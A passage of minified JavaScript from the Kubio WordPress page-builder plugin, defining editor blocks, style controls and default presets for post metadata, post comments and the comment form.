size","kubio"),path:["width","height"],max:50},mw)),Object(xe.createElement)(Re.RangeWithUnitWithPath,Object(ut.a)({label:Object(We.__)("Icon space","kubio"),path:"margin.right",max:50},mw)),Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({label:Object(We.__)("Space between items","kubio")},o,{max:100})),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({path:"typography"},bw,n,{nodeType:"a"})))}));const hw=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(dw,null)),Ow=e=>{let{prefix:t,showIcons:o,icon:n,suffix:a,separator:l,link:r="#",children:i,isLast:c}=e;const s=e=>void 0===e?"":` ${e} `;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)("span",{className:"metadata-item"},t&&Object(xe.createElement)("span",{className:"metadata-prefix"},s(t)),Object(xe.createElement)("a",{href:r},Boolean(o)&&Object(xe.createElement)(Re.CanvasIcon,{name:n}),s(i)),a&&Object(xe.createElement)("span",{className:"metadata-suffix"},s(a))),!c&&Object(xe.createElement)("span",{className:"metadata-separator"},l))};var gw=o(261),yw=o.n(gw);const jw={date:e=>{const{metaContent:t,dateFormat:o}=e,{dateTime:n}=t,a=Object(xe.useMemo)((()=>{const e=yw()(n),t=(e=>{const t={d:"DD",F:"MMMM",j:"D",Y:"YYYY",m:"MM",M:"MMM"};return e.replace(/\w/g,(e=>_.get(t,e,e)))})(o);return e.format(t)}),[n,o]);return Object(xe.createElement)(Ow,e,a)},author:e=>{const t=Ne.a.get(e,"metaContent.author",{}),o=null==t?void 0:t.name;return Object(xe.createElement)(Ow,e,o)},time:e=>{const{metaContent:t}=e,{dateTime:o}=t,n=Object(xe.useMemo)((()=>yw()(o).format("hh:mm A")),[o]);return Object(xe.createElement)(Ow,e,n)},comments:e=>{const t=Ne.a.get(e,"metaContent.comments",[]),o=t?t.length:"";return Object(xe.createElement)(Ow,e,o)}},kw=Object(Me.compose)(Object(He.withColibriData)(((e,t)=>({activeMetaArray:e.getAttribute("metadata",[]).filter((e=>e.check)),showIcons:e.getAttribute("showIcons"),separator:e.getAttribute("separator"),dateFormat:e.getAttribute("dateFormat")}))),Object(He.withStyledElements)((function(){let{computed:e}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return{}}))),Ew=kw((e=>{let{StyledElements:t,attributes:o,context:n,computed:a}=e;const{activeMetaArray:l,showIcons:r,separator:i,dateFormat:c}=a,{postType:s,postId:u}=n,p=l.map((e=>{let{value:t}=e;return t})),b=Object(Ve.useSelect)((e=>{const{getEntityRecords:t,getEntityRecord:o,getUser:n}=e("core"),a=o("postType",s,u),l=null==a?void 0:a.author,r=null==a?void 0:a.date_gmt;return{comments:p.includes("comments")?t("root","comment",{post:u}):0,author:l&&p.includes("author")?n(l):null,dateTime:r}}),[s,u,p]),m=Object(He.useDeepMemo)((()=>l.map(((e,t)=>{const o=Ne.a.get(jw,null==e?void 0:e.value);if(!o)return Object(xe.createElement)(xe.Fragment,null);const n=t===l.length-1;return Object(xe.createElement)(o,Object(ut.a)({key:null==e?void 0:e.value,showIcons:r,separator:i,dateFormat:c,isLast:n,metaContent:b},e))}))),[l,r,i,c,b]);return Object(xe.createElement)(t.MetaDataContainer,null,m)}));const fw={name:"kubio/post-meta",category:"kubio-blog-components",attributes:{kubio:{type:"object"},separator:{type:"string",default:"|"},showIcons:{type:"boolean",default:!0},dateFormat:{type:"string",default:"F j, Y"},editorContext:{type:"object"},metadata:{type:"array",default:[{value:"author",name:"Author",check:!0,icon:"font-awesome/user",id:0,prefix:"",suffix:""},{value:"date",name:"Date",check:!0,icon:"font-awesome/calendar",id:1,prefix:"",suffix:""},{value:"time",name:"Time",check:!0,icon:"font-awesome/clock-o",id:2,prefix:"",suffix:""},{value:"comments",name:"Comments",check:!0,icon:"font-awesome/comment",id:3,prefix:"",suffix:""}]}},usesContext:["postId","postType"],supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{icons:{width:{value:20,unit:"px"},height:{value:20,unit:"px"},margin:{right:{value:5,unit:"px"}}},separators:{padding:{left:{value:5,unit:"px"},right:{value:5,unit:"px"}}}}},props:{}},elementsEnum:{METADATACONTAINER:"metaDataContainer",METADATALINKS:"metaDataLinks",METADATAPREFIX:"metaDataPrefix",METADATASUFFIX:"metaDataSuffix",ICONS:"icons",SEPARATORS:"separators"},elementsByName:{metaDataContainer:{wrapper:!0,default:!0,props:{className:["h-blog-meta"]}},metaDataLinks:{selector:"a"},metaDataPrefix:{selector:".metadata-prefix"},metaDataSuffix:{selector:".metadata-suffix"},icons:{selector:".h-svg-icon"},separators:{selector:".metadata-separator"}},template:{type:"element",props:{name:"metaDataContainer"}}}}},vw=Object(nn.extendBlockMeta)(fw,{title:Object(We.__)("Post Metadata","kubio"),description:Object(We.__)("Add details to your blog articles such as author, publishing date, and comments.","kubio"),keywords:[Object(We.__)("meta","kubio"),Object(We.__)("metadata","kubio"),Object(We.__)("description","kubio")],icon:on.BlockIcons.PostMetadata,apiVersion:2,supports:{kubio:{elementsByName:rw},reusable:!1,html:!1},edit:function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(uw,null),Object(xe.createElement)(hw,null),Object(xe.createElement)(Ew,e))}}),_w={CONTAINER:"commentsContainer",NUMBER:"commentsTitle",CLOSED:"disabledComments",EVEN:"comment",ODD:"alternateComment",AVATAR:"commentAvatar",AUTHOR_NAME:"commentAuthorName",AUTHOR_LINK:"commentAuthorLink",DATE:"commentDate",EDIT:"commentEdit",CONTENT:"commentText",REPLY_LINK:"commentReply",REPLY_FORM:"commentReplyForm",REPLIES:"commentReplies",COMMENT_META_CONTAINER:"commentInfoContainer",COMMENT_META:"commentInfo"},Cw={[_w.CONTAINER]:{label:Object(We.__)("Comments container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY_FOR_CONTAINER],states:cn.StatesPresetsEnum.BASIC,filters:{background:{types:["none","image","gradient"],showOverlayOptions:!0}}}},[_w.NUMBER]:{label:Object(We.__)("Comments number","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.NONE}},[_w.CLOSED]:{label:Object(We.__)("Closed comments message","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.NONE}},[_w.EVEN]:{label:Object(We.__)("Even comment","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:cn.StatesPresetsEnum.BASIC}},[_w.ODD]:{label:Object(We.__)("Odd comment","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:cn.StatesPresetsEnum.BASIC}},[_w.AVATAR]:{label:Object(We.__)("Avatar","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:cn.StatesPresetsEnum.BASIC}},[_w.AUTHOR_NAME]:{label:Object(We.__)("Name","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.BASIC}},[_w.AUTHOR_LINK]:{label:Object(We.__)("Link","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.BASIC}},[_w.DATE]:{label:Object(We.__)("Date","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.BASIC}},[_w.EDIT]:{label:Object(We.__)("Edit link","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.BASIC}},[_w.CONTENT]:{label:Object(We.__)("Content","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY_FOR_CONTAINER],states:cn.StatesPresetsEnum.NONE}},[_w.REPLY_LINK]:{label:Object(We.__)("Reply link","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.BASIC}},[_w.REPLY_FORM]:{label:Object(We.__)("Reply form","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY_FOR_CONTAINER],states:cn.StatesPresetsEnum.BASIC}},[_w.REPLIES]:{internal:!0},[_w.COMMENT_META]:{internal:!0},[_w.COMMENT_META_CONTAINER]:{internal:!0}},Iw=[{label:Object(We.__)("General","kubio"),items:[_w.CONTAINER,_w.NUMBER,_w.CLOSED,_w.EVEN,_w.ODD,_w.CONTENT]},{label:Object(We.__)("Author","kubio"),items:[_w.AVATAR,_w.AUTHOR_NAME,_w.AUTHOR_LINK]},{label:Object(We.__)("Metadata","kubio"),items:[_w.DATE,_w.EDIT]},{label:Object(We.__)("Reply","kubio"),items:[_w.REPLY_LINK,_w.REPLY_FORM]}];var Tw=Object(He.withComputedData)((e=>{}))((e=>{let{computed:t}=e;return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Post comments properties","kubio")},Object(xe.createElement)(Re.InputControlWithPath,{label:Object(We.__)("No comments title","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"noCommentsTitle"}),Object(xe.createElement)(Re.InputControlWithPath,{label:Object(We.__)("One comment title","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"oneCommentTitle"}),Object(xe.createElement)(Re.InputControlWithPath,{label:Object(We.__)("Multiple comments title","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"multipleComments"}),Object(xe.createElement)(Re.InputControlWithPath,{label:Object(We.__)("Disable comments message","kubio"),type:He.WithDataPathTypes.ATTRIBUTE,path:"commentsDisabled"})))}));const Sw=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)(Tw,null));var ww=Object(He.withComputedData)((e=>({border:{value:e.getStyle("border.top.radius.left",null,{styledComponent:"commentAvatar"}),onChange:t=>{const o={top:{radius:{left:t,right:t}},bottom:{radius:{left:t,right:t}}};e.setStyle("border",o,{styledComponent:"commentAvatar"})},onReset:()=>{e.setStyle("border",Fe.UNSET_VALUE,{styledComponent:"commentAvatar"})}}})))((e=>{let{computed:t}=e;const{border:o}=t,n={min:0,max:100,step:1,units:["%"]};return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Comments","kubio")},Object(xe.createElement)(Re.ColorWithPath,{label:Object(We.__)("Comments number","kubio"),path:"typography.color",type:He.WithDataPathTypes.STYLE,style:_w.COMMENTS_TITLE}),Object(xe.createElement)(Re.TypographyControlPopupWithPath,{label:Object(We.__)("Comments number typography","kubio"),path:"typography",style:_w.COMMENTS_TITLE}),Object(xe.createElement)(Re.RangeWithUnitWithPath,{label:Object(We.__)("Comments reply offset","kubio"),max:100,path:"margin.left",style:_w.COMMENT_REPLIES,type:He.WithDataPathTypes.STYLE})),Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Comment background","kubio"),initialOpen:!1},Object(xe.createElement)(Re.GradientColorPickerWithPath,{label:Object(We.__)("Odd Comment background","kubio"),path:"background.color",type:He.WithDataPathTypes.STYLE,style:_w.ODD_COMMENT_CONTAINER}),Object(xe.createElement)(Re.GradientColorPickerWithPath,{label:Object(We.__)("Even Comment background","kubio"),path:"background.color",type:He.WithDataPathTypes.STYLE,style:_w.EVEN_COMMENT_CONTAINER})),Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Author","kubio"),initialOpen:!1},Object(xe.createElement)(Re.ColorWithPath,{label:Object(We.__)("Author name","kubio"),path:"color",type:He.WithDataPathTypes.STYLE,style:_w.AUTHOR_NAME}),Object(xe.createElement)(Re.ColorWithPath,{label:Object(We.__)("Author link","kubio"),path:"color",type:He.WithDataPathTypes.STYLE,style:_w.AUTHOR_LINK}),Object(xe.createElement)(Re.ColorWithPath,{label:Object(We.__)("Author link hover","kubio"),path:"color",state:"hover",type:He.WithDataPathTypes.STYLE,style:_w.AUTHOR_LINK}),Object(xe.createElement)(Re.TypographyControlPopupWithPath,{label:Object(We.__)("Author typography","kubio"),path:"typography",style:[_w.AUTHOR_NAME,_w.AUTHOR_LINK]}),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.RangeWithPath,{label:Object(We.__)("Avatar size","kubio"),max:200,path:"avatarSize",type:He.WithDataPathTypes.ATTRIBUTE}),Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({label:Object(We.__)("Avatar rounded corners","kubio")},n,o))),Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Metadata","kubio"),initialOpen:!1},Object(xe.createElement)(Re.ColorWithPath,{label:Object(We.__)("Comment date","kubio"),path:"color",type:He.WithDataPathTypes.STYLE,style:_w.DATE}),Object(xe.createElement)(Re.ColorWithPath,{label:Object(We.__)("Comment date hover","kubio"),path:"color",state:"hover",type:He.WithDataPathTypes.STYLE,style:_w.DATE}),Object(xe.createElement)(Re.ColorWithPath,{label:Object(We.__)("Comment edit","kubio"),path:"color",type:He.WithDataPathTypes.STYLE,style:_w.EDIT}),Object(xe.createElement)(Re.ColorWithPath,{label:Object(We.__)("Comment edit hover","kubio"),path:"color",state:"hover",type:He.WithDataPathTypes.STYLE,style:_w.EDIT}),Object(xe.createElement)(Re.TypographyControlPopupWithPath,{label:Object(We.__)("Metadata typography","kubio"),path:"typography",style:[_w.DATE,_w.EDIT]}),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.RangeWithPath,{label:Object(We.__)("Avatar size","kubio"),max:200,path:"avatarSize",type:He.WithDataPathTypes.ATTRIBUTE}),Object(xe.createElement)(Re.RangeWithUnitControl,Object(ut.a)({label:Object(We.__)("Avatar rounded corners","kubio")},n,o))),Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Content","kubio"),initialOpen:!1},Object(xe.createElement)(Re.GradientColorPickerWithPath,{label:Object(We.__)("Comment content background","kubio"),path:"background.color",type:He.WithDataPathTypes.STYLE,style:_w.CONTENT}),Object(xe.createElement)(Re.BoxUnitValueControlWithPath,{label:Object(We.__)("Padding","kubio"),path:"padding",capMin:!0,min:0,type:He.WithDataPathTypes.STYLE,style:_w.CONTENT}),Object(xe.createElement)(Re.BordersAndRadiusWithPath,{path:"border",type:He.WithDataPathTypes.STYLE,style:_w.CONTENT})),Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Closed comments","kubio"),initialOpen:!1},Object(xe.createElement)(Re.ColorWithPath,{label:Object(We.__)("Color","kubio"),path:"typography.color",style:_w.CLOSED_COMMENTS_MESSAGE,type:He.WithDataPathTypes.STYLE}),Object(xe.createElement)(Re.TypographyControlPopupWithPath,{path:"typography",style:_w.CLOSED_COMMENTS_MESSAGE}),Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,{label:Object(We.__)("Horizontal align","kubio"),path:"textAlign",style:_w.CLOSED_COMMENTS_MESSAGE,type:He.WithDataPathTypes.STYLE})))}));const Pw=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(ww,null)),Aw=e=>{var t;const{computed:o,StyledElements:n,context:a,Background:l,attributes:r}=e,{postId:i}=a,{noCommentsTitle:c,oneCommentTitle:s,multipleComments:u,commentsDisabled:p,avatarSize:b}=o;return Object(xe.createElement)(n.CommentsContainer,null,Object(xe.createElement)(l,null),Object(xe.createElement)(He.ServerSideRender,{block:"kubio/post-comments",urlQueryArgs:{post_id:i},attributes:{noCommentsTitle:c,oneCommentTitle:s,multipleComments:u,commentsDisabled:p,avatarSize:b,kubio:{migrations:(null==r||null===(t=r.kubio)||void 0===t?void 0:t.migrations)||[]}}}))},Bw=Object(Me.compose)(Object(He.withColibriData)(((e,t)=>{var o,n;return{noCommentsTitle:e.getAttribute("noCommentsTitle"),oneCommentTitle:e.getAttribute("oneCommentTitle"),multipleComments:e.getAttribute("multipleComments"),commentsDisabled:e.getAttribute("commentsDisabled"),avatarSize:e.getAttribute("avatarSize"),migrations:null==t||null===(o=t.attributes)||void 0===o||null===(n=o.kubio)||void 0===n?void 0:n.migrations}})),Object(He.withContainerBase)(),Object(He.withStyledElements)((()=>({[_w.COMMENTS_CONTAINER]:{className:"kubio-post-comments-container"}})))),Nw=Bw(Aw);Bw(Aw);const xw=[{id:1,handleAttributes:e=>{const t=Object(Be.cloneDeep)(e),o="kubio.style.descendants";Object(Be.unset)(t,`${o}.commentInfo`),Object(Be.unset)(t,`${o}.commentInfoContainer`);const n=Object(Be.get)(e,`${o}.commentInfoContainer.typography`);return Object(Be.set)(t,`${o}.commentDate.typography`,n),Object(Be.set)(t,`${o}.commentEdit.typography`,n),Object(Be.set)(t,`${o}.descendants.commentAuthorLink`,Object(Be.get)(e,`${o}.commentAuthorName`)),Object(Be.unset)(t,`${o}.comment.margin.left`),Object(Be.unset)(t,`${o}.alternateComment.margin.left`),Object(Be.unset)(t,`${o}.commentAvatar.margin.bottom`),t}}],Rw=[{name:"default",isDefault:!0,title:Object(We.__)("Post comments","kubio"),description:Object(We.__)("Post comments","kubio"),attributes:{kubio:{style:{descendants:{commentAuthorName:{typography:{weight:400,color:"rgba(var(--kubio-color-5-variant-4),1)",size:{value:14,unit:"px"}},margin:{top:{value:"",unit:"px"}}},commentAvatar:{margin:{right:{value:5,unit:"px"},top:{value:"",unit:"px"},left:{value:"",unit:"px"}},padding:{top:{value:"",unit:"px"}}},comment:{border:{top:{style:"solid"},bottom:{style:"solid"},left:{style:"solid",width:{value:1,unit:"px"},color:"rgba(var(--kubio-color-6),0.2)"}},padding:{top:{value:0,unit:"px"},bottom:{value:0,unit:"px"},left:{value:12,unit:"px"},right:{value:12,unit:"px"}},margin:{top:{value:20,unit:"px"}}},alternateComment:{border:{top:{style:"none"},right:{style:"none"},bottom:{style:"none"},left:{style:"solid",width:{value:1,unit:"px"},color:"rgba(var(--kubio-color-6),0.2)"}},padding:{top:{value:0,unit:"px"},bottom:{value:0,unit:"px"},left:{value:12,unit:"px"},right:{value:12,unit:"px"}},margin:{top:{value:20,unit:"px"}}},commentReplies:{margin:{left:{value:12,unit:"px"}}},commentsContainer:{margin:{left:{value:-10,unit:"px"}}},commentReply:{typography:{color:"rgba(var(--kubio-color-1),1)"},states:{hover:{typography:{color:"rgba(var(--kubio-color-1-variant-4),1)"}}}},commentAuthorSays:{typography:{color:"rgba(var(--kubio-color-5-variant-4),1)",size:{value:14,unit:"px"}}},commentDate:{typography:{color:"rgba(var(--kubio-color-5-variant-4),1)",size:{value:14,unit:"px"}}},commentEdit:{typography:{color:"rgba(var(--kubio-color-5-variant-4),1)",size:{value:14,unit:"px"}}},descendants:{commentAuthorLink:{typography:{weight:400,color:"rgba(var(--kubio-color-5-variant-4),1)",size:{value:14,unit:"px"}},margin:{top:{value:"",unit:"px"}}}},commentAuthorLink:{typography:{color:"rgba(var(--kubio-color-6-variant-4),1)"}}}}},prefix:"",noCommentsTitle:Object(We.__)("No responses yet","kubio"),oneCommentTitle:Object(We.__)("One response","kubio"),avatarSize:"40",multipleComments:Object(We.__)("{COMMENTS-COUNT} Responses","kubio"),commentsDisabled:Object(We.__)("Comments are closed","kubio")}}],Dw={name:"kubio/post-comments",category:"kubio-blog-components",attributes:{kubio:{type:"object"},prefix:{type:"string",default:""},noCommentsTitle:{type:"string",default:"No responses yet"},oneCommentTitle:{type:"string",default:"One response"},avatarSize:{type:"string",default:"50"},multipleComments:{type:"string",default:"{COMMENTS-COUNT} Responses"},commentsDisabled:{type:"string",default:"Comments are closed"}},usesContext:["postId","postType"],supports:{kubio:{default:{style:{descendants:{commentReplies:{margin:{left:{value:20,unit:"px"}}},commentAvatar:{border:{top:{radius:{left:{value:100,unit:"%"},right:{value:100,unit:"%"}}},bottom:{radius:{left:{value:100,unit:"%"},right:{value:100,unit:"%"}}}}}}},props:{}},elementsEnum:{CONTAINER:"commentsContainer",NUMBER:"commentsTitle",CLOSED:"disabledComments",EVEN:"comment",ODD:"alternateComment",AVATAR:"commentAvatar",AUTHOR_NAME:"commentAuthorName",AUTHOR_LINK:"commentAuthorLink",DATE:"commentDate",EDIT:"commentEdit",CONTENT:"commentText",REPLY_LINK:"commentReply",REPLY_FORM:"commentReplyForm",REPLIES:"commentReplies",COMMENT_META_CONTAINER:"commentInfoContainer",COMMENT_META:"commentInfo"},elementsByName:{commentsContainer:{wrapper:!0,default:!0},commentsTitle:{selector:".comments-title"},disabledComments:{selector:".comments-disabled"},comment:{selector:".comment.even"},alternateComment:{selector:".comment.odd"},commentAvatar:{selector:".comment-author img"},commentAuthorName:{selector:".comment-author .fn"},commentAuthorLink:{selector:".comment-author .fn a"},commentDate:{selector:".comment-metadata > a"},commentEdit:{selector:".comment-metadata > .edit-link > a"},commentText:{selector:".comment-content"},commentReply:{selector:".comment-body .reply a"},commentReplyForm:{selector:".comment-body .comment-respond"},commentReplies:{selector:".comment > .children"},commentInfoContainer:{selector:".comment-meta"},commentInfo:{selector:".comment-metadata"}},template:{type:"element",props:{name:"commentsContainer"}}}}},Lw=Object(nn.extendBlockMeta)(Dw,{title:Object(We.__)("Post Comments","kubio"),keywords:[Object(We.__)("comment","kubio")],icon:on.BlockIcons.PostComments,apiVersion:2,supports:{kubio:{elementsByName:Cw,elementsGroups:Iw},reusable:!1,html:!1},edit:function(e){return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Sw,null),Object(xe.createElement)(Pw,null),Object(xe.createElement)(Nw,e))},kubioMigrations:xw,variations:Rw}),Mw="container",Ww="commentFormTitle",Hw="commentFormLabels",Gw="commentFormInputs",Uw="commentFormButton",Fw="commentFormButtonWrapper",zw="commentFormNotes",Vw={[Mw]:{label:Object(We.__)("Container","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING],states:cn.StatesPresetsEnum.BASIC,filters:{[cn.StylesEnum.SPACING]:Re.BackgroundUiUtils.FiltersPreset.MARGINLESS_SPACING}}},[Ww]:{label:Object(We.__)("Title","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.NONE,filters:{[cn.StylesEnum.SPACING]:Re.BackgroundUiUtils.FiltersPreset.MARGINLESS_SPACING}}},[Hw]:{label:Object(We.__)("Labels","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.NONE,filters:{[cn.StylesEnum.SPACING]:Re.BackgroundUiUtils.FiltersPreset.MARGINLESS_SPACING}}},[Gw]:{label:Object(We.__)("Inputs","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.BUTTON,filters:{[cn.StylesEnum.SPACING]:Re.BackgroundUiUtils.FiltersPreset.MARGINLESS_SPACING}}},[Fw]:{label:Object(We.__)("Button wrapper","kubio"),internal:!0},[Uw]:{label:Object(We.__)("Button","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.BUTTON,filters:{[cn.StylesEnum.SPACING]:Re.BackgroundUiUtils.FiltersPreset.MARGINLESS_SPACING}}},[zw]:{label:Object(We.__)("Notes","kubio"),supports:{styles:[cn.StylesEnum.BACKGROUND,cn.StylesEnum.BORDER,cn.StylesEnum.SPACING,cn.StylesEnum.TYPOGRAPHY],states:cn.StatesPresetsEnum.NONE,filters:{[cn.StylesEnum.SPACING]:Re.BackgroundUiUtils.FiltersPreset.MARGINLESS_SPACING,border:{supportsBoxShadow:!1}}}}},Yw={type:He.WithDataPathTypes.STYLE,style:Gw},$w={type:He.WithDataPathTypes.STYLE,style:Ww},Kw={type:He.WithDataPathTypes.STYLE,style:Hw},qw={type:He.WithDataPathTypes.STYLE,style:Uw};var Xw=()=>{const e="normal",t=[{value:e,label:Object(We.__)("Normal","kubio")},{value:"hover",label:Object(We.__)("Hover","kubio")}],[o,n]=Object(xe.useState)(e);return Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Form","kubio"),initialOpen:!0},Object(xe.createElement)(Re.ColorWithPath,{label:Object(We.__)("Background color","kubio"),path:"background.color",type:He.WithDataPathTypes.STYLE,style:Mw}),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Title color","kubio"),path:"typography.color"},$w)),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({label:Object(We.__)("Title typography","kubio"),path:"typography"},$w))),Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Fields","kubio"),initialOpen:!1},Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Label color","kubio"),path:"typography.color"},Kw)),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({label:Object(We.__)("Label typography","kubio"),path:"typography"},Kw)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Input background color","kubio"),path:"background.color"},Yw)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Input text color","kubio"),path:"typography.color"},Yw)),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({label:Object(We.__)("Input typography","kubio"),path:"typography"},Yw)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.BordersAndRadiusWithPath,Object(ut.a)({path:"border"},Yw))),Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Submit button","kubio"),initialOpen:!1},Object(xe.createElement)(Re.ToggleGroup,{options:t,value:o,onChange:e=>n(e)}),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Background","kubio"),path:"background.color",state:o},qw)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Text color","kubio"),path:"typography.color",state:o},qw)),Object(xe.createElement)(Re.ColorWithPath,Object(ut.a)({label:Object(We.__)("Border color","kubio"),path:["border.top.color","border.bottom.color","border.left.color","border.right.color"],state:o},qw)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.TypographyControlPopupWithPath,Object(ut.a)({label:Object(We.__)("Typography","kubio"),path:"typography"},qw)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.BoxUnitValueControlWithPath,Object(ut.a)({label:Object(We.__)("Padding","kubio"),path:"padding"},qw)),Object(xe.createElement)(Re.BordersAndRadiusWithPath,Object(ut.a)({path:"border"},qw,{withColor:!1})),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.BoxShadowWithPath,Object(ut.a)({path:"boxShadow"},qw)),Object(xe.createElement)(Re.SeparatorHorizontalLine,null),Object(xe.createElement)(Re.HorizontalTextAlignControlWithPath,{label:Object(We.__)("Button align","kubio"),path:"textAlign",type:He.WithDataPathTypes.STYLE,style:Fw})))};const Qw=()=>Object(xe.createElement)(ze.StyleInspectorControls,null,Object(xe.createElement)(Xw,null)),Zw=Object(Me.compose)(Object(He.withStyledElements)())((e=>{let{StyledElements:t,context:o}=e;const{postId:n}=o;return Object(xe.createElement)(t.Container,null,Object(xe.createElement)(He.ServerSideRender,{block:"kubio/post-comments-form",urlQueryArgs:{post_id:n}}))})),Jw=()=>Object(xe.createElement)(ze.ContentInspectorControls,null,Object(xe.createElement)("div",{className:"kubio-editing-header"},Object(xe.createElement)(Re.ControlNotice,{content:Object(We.__)("Current block does not have content options","kubio")})));const eP={name:"kubio/post-comments-form",category:"kubio-blog-components",attributes:{kubio:{type:"object"},prefix:{type:"string",default:""}},usesContext:["postId","postType"],supports:{kubio:{default:{style:{descendants:{commentFormInputs:{border:{top:{width:{value:1,unit:"px"},style:"solid"},right:{width:{value:1,unit:"px"},style:"solid"},left:{width:{value:1,unit:"px"},style:"solid"},bottom:{width:{value:1,unit:"px"},style:"solid"}}},commentFormButtonWrapper:{textAlign:"left"}}},props:{}},elementsEnum:{CONTAINER:"container",LINK:"link",PREFIX:"prefix",TAGS:"tags",COMMENT_FORM_CONTAINER:"container",COMMENT_FORM_TITLE:"commentFormTitle",COMMENT_FORM_LABELS:"commentFormLabels",COMMENT_FORM_INPUTS:"commentFormInputs",COMMENT_FORM_BUTTON:"commentFormButton",COMMENT_FORM_BUTTON_WRAPPER:"commentFormButtonWrapper",COMMENT_FORM_LINKS:"commentFormLinks",COMMENT_FORM_NOTES:"commentFormNotes"},elemen